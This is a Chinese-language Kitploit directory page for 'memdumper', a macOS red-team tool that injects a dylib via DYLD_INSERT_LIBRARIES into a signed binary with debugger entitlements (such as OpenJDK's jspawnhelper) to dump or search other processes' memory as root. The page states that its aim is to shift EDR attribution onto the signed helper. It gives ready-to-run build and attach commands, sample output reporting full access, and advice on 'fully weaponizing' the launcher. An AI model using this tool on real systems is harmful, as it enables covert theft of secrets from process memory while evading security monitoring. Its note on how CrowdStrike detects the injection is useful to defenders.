Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/cenobyte-vincit/memdumper
内存取证IDS/IPS规避信息收集后渗透利用数字取证渗透测试红队
GitHubcenobyte-vincit/memdumper

memdumper

滥用 macOS 调试器授权和 DYLD_INSERT_LIBRARIES 来转储或搜索正在运行进程的内存,同时将 EDR 归因转移到已签名的辅助二进制文件。

查看仓库
12122天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

memdumper

memdumper 在另一个已签名二进制的调试器授权(debugger entitlement)下读取正在运行的 macOS 进程的内存。其目的是让 task_for_pid 和 ptrace 以该已获授权二进制身份运行,这样 EDR 记录的是它,而不是 memdumper。

作者:cenobyte [email protected] 2026

https://github.com/cenobyte-vincit/memdumper

概述

memdumper 启动一个带有 com.apple.security.cs.debugger 以及两个允许 DYLD_INSERT_LIBRARIES 注入的 entitlement 的二进制。使用它可以 root 身份搜索并转储另一个进程的内存。OpenJDK 的 jspawnhelper 是常见的符合条件的二进制,尤其是在开发者的机器上。

向 attach.sh 提供目标 PID 和已获授权二进制。dylib 构造函数在该二进制的 main 之前运行,读取目标,然后调用 _exit。该已获授权二进制永远不会执行到 main,因此 jspawnhelper 之类的辅助程序不会打印用法横幅。已获授权二进制之后的多余参数会保留在命令行中,供 EDR 记录。不加 -s 时,dylib 以十六进制转储每个可读区域的起始部分;加 -s 时,它会搜索这些区域中的字符串。不会写入目标地址空间。ptrace 附加可能会短暂停止目标。

转储状态即合并输出中的 [RESULT] 行。注入成功后,构造函数完成后即退出 0。

要求

运行时主机

  • macOS (Darwin)
  • root 权限
  • 一个具备以下全部三项 entitlement 的二进制:com.apple.security.cs.debugger、com.apple.security.cs.allow-dyld-environment-variables 和 com.apple.security.cs.disable-library-validation(例如 OpenJDK 的 jspawnhelper)

构建主机

  • macOS (Darwin),装有 Xcode Command Line Tools 或 Xcode
  • clang
  • make
  • shellcheck,用于 attach.sh 和测试脚本(brew install shellcheck)
  • cppcheck(brew install cppcheck)

构建

在构建主机上:

root@kitploit:~
make

这将生成 memdumper.dylib。如果构建机与目标机不是同一台机器,请将 attach.sh 和 memdumper.dylib 复制到目标机。

用法

在以 root 身份从包含 memdumper.dylib 的目录运行 attach.sh。非 root 调用者会在已获授权二进制启动之前被拒绝(root required)。这样可以避免出现“开发者工具访问”密码对话框(taskgated / Authorization Services)。该对话框不属于“透明度、同意与控制”(TCC)范畴。

root@kitploit:~
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]

请确认候选的已获授权二进制具备这三项 entitlement。Cellar 前缀和 OpenJDK 版本可能不同;attach.sh 在自己的帮助信息中使用了此路径布局:

root@kitploit:~
codesign -d --entitlements - \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

转储 PID 4543 的可读区域:

root@kitploit:~
sudo ./attach.sh -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

在该进程中搜索 HELLO:

root@kitploit:~
sudo ./attach.sh -s HELLO -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

将转储限制为 50 个可读区域,并使用 java 作为已获授权二进制。TestSpawn 保留在命令行中;java 的 main 不会运行:

root@kitploit:~
sudo ./attach.sh -n 50 -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn

一个未启用 Hardened Runtime 的编辑器是有效的冒烟测试目标。以拥有该缓冲区的用户身份启动它,然后以 root 身份附加。在一个终端中:

root@kitploit:~
nano foo

将 HELLO 放入缓冲区,使该字符串出现在进程中(保存文件或保持未保存均可)。在另一个终端中,从包含 memdumper.dylib 的目录执行:

root@kitploit:~
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

命中时的输出如下。随后进程以 0 退出:

root@kitploit:~
Target: pid 9810 (nano)
Target has no hardened runtime

[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00                                    |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec  22 90 00 00 00 00 00 00  |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00                                    |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done

attach.sh 不会检查已获授权二进制的 entitlement。缺少其中任何一项的二进制会在注入或 task_for_pid 时失败。

退出码

Code含义
0注入成功后构造函数完成
1用法错误、非 root、当前目录缺少 memdumper.dylib、缺少 -p、未找到目标 PID、遇到 Hardened Runtime 但未使用 --force,或注入未发生(随后已获授权二进制运行并以非零状态退出)

读取 [RESULT] 以获取转储结果。退出 0 仅表示构造函数已运行并调用了 _exit。

配置

dylib 会读取三个环境变量。attach.sh 根据命令行选项设置它们。

任何将 DYLD_INSERT_LIBRARIES 设置为 memdumper.dylib 并设置这些变量的启动器都可以注入该 dylib。attach.sh 是项目自带的启动器。

验证

在构建主机上,make 会构建 dylib,并运行 cppcheck 和 shellcheck。make test 运行单元测试和功能测试套件。这些检查并不能证明运行时环境是干净的。

实时搜索和转储测试需要 Homebrew OpenJDK 和 uid 0。它们会在 /opt/homebrew/Cellar 和 /usr/local/Cellar 下 find jspawnhelper(不固定版本)。它们本身不会调用 sudo。如果没有 Homebrew OpenJDK,或者测试套件尚未以 uid 0 运行,这两个用例将跳过(退出 77),因此非 root 的 make test 不会弹出“开发者工具访问”对话框。如果希望执行这些注入,请使用 sudo make test。

root@kitploit:~
make
make test
sudo make test
make test-unit
make test-functional

限制

  • Hardened Runtime 会阻止 task_for_pid、ptrace 和内存读取(1Password、Chrome)。使用 --force 仍会尝试,但几乎总是失败。
  • 运行时主机需要 root。非 root 的同 UID 附加会弹出“开发者工具访问”密码对话框:taskgated 会评估 Authorization Services 权限 system.privilege.taskport。该对话框不属于 TCC。开发者模式(DevToolsSecurity -enable)加上 admin 或 _developer 组成员身份,并不能为 Homebrew jspawnhelper(adhoc、公共调试器 entitlement)消除该对话框。它只会跳过 Apple 签名工具(如 lldb)的密码。系统完整性保护(SIP)使受保护的系统进程即使在 root 下也无法被访问。
  • 某些进程(包括 bash)会通过其他检查拒绝附加。
  • attach.sh 会在当前工作目录而不是脚本所在目录中查找 memdumper.dylib。要充分武器化该工具,请在阶段 1 或阶段 2 中实现该启动器,而不是附带 attach.sh。

另请参阅

  • ARCHITECTURE.md:entitlement 继承、taskgated 与 system.privilege.taskport、三种方法、EDR 会记录什么
  • AGENTS.md:构建主机与目标机
下载工具
OptionMeaning
-p, --pid PID目标进程 ID(必需)
-s, --search STRING在可读区域中搜索 STRING
-n, --max-regions N要十六进制转储的最大可读区域数(默认 100)。仅用于转储路径
-f, --force当 codesign 报告 Hardened Runtime 时继续
-h, --help打印用法(退出 1)
变量设置方式含义
MEMDUMPER_TARGET_PID-p目标 PID。如果未设置或不是正整数,构造函数会打印诊断信息并返回
MEMDUMPER_SEARCH-s如果非空,则执行搜索而不是转储
MEMDUMPER_MAX_REGIONS-n要十六进制转储的可读区域数量(默认 100)。在搜索路径中忽略
  • 搜索时每个可读区域最多读取 10 MiB,并且最多遍历 1000 个区域。转储遍历在 10000 个区域后停止,并且只打印每个显示区域的前 256 字节(-n / MEMDUMPER_MAX_REGIONS,默认 100)。
  • ptrace 仅用于附加和分离。它不会转储内存。[RESULT] 3/3 表示三个调用全部成功,而不是三条转储路径都已运行。
  • CrowdStrike Falcon for macOS 会记录进程环境变量,包括 DYLD_INSERT_LIBRARIES。威胁猎人会利用该字段发现这种注入。
  • 每次调用只处理一个目标 PID。